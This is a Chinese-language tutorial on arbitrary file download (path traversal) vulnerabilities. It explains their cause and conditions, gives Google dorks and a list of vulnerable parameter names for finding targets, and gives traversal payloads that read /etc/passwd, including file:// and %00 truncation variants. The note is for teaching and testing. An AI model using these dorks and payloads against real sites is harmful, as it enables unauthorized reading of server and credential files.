漏洞原理 #
一些网站由于业务需求,往往需要提供文件查看或文件下载功能。
一般来说在文件下载或查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不严格时,就能够实现下载服务器上的任何文件,产生任意文件下载漏洞,恶意用户就可利用路径回溯符号(../)跳出程序本身的限制目录实现下载任意文件。此漏洞的最终目的还是为了进一步获取更多系统信息。
产生原因 #
● 提供下载、查看的功能,并接收相关参数变量;
● 使用读取文件的函数;
● 未对相关参数做校验或者控制不严格;
● 能输出请求文件的内容,提供给客户端;
利用条件 #
● 存在读文件的函数;
● 读取文件的路径是用户可控的且未经校验或校验不严格;
● 输出或下载了文件内容;
漏洞发现 #
-
存在下载功能的功能点;
-
可以使用Google hacking语法或者Web漏洞扫描器。
Google search inurl:readfile.php?file= inurl:download.php?file=
- 链接存在以下关键字:
download.php?path= download.php?file= download.php?filename= down.php?file= data.php?file= readfile.php?file= read.php?filename=
- 包含以下参数
&RealPath= &FilePath= &filepath= &Filepath= &Path= &path= &inputFile= &InputFile= &url= &urls= &Lang= &dis= &data= &Date= &readfile= &filep= &src= &menu= META-INF WEB-INF
漏洞利用方法 #
任意文件下载漏洞,正常的利用手段是下载服务器文件,比如脚本代码、服务器配置文件或者是系统配置文件等。但有时并不知道网站所处环境以及网站路径,就可以使用../../../进行逐层猜测路径,案例如下:
index.php?f=../../../../../../../../../etc/passwd index.php?f=../../../index.php index.php?f=file:///etc/passwd readfile.php?file=/etc/passwd readfile.php?file=../../../../../etc/passwd readfile.php?file=../../../../../../../etc/passwd%00 // 00截断 注: 当参数f的参数值为php⽂件时,若是⽂件被解析则是⽂件包含漏洞, 若显⽰源码或提⽰下载则是⽂件查看与下载漏洞。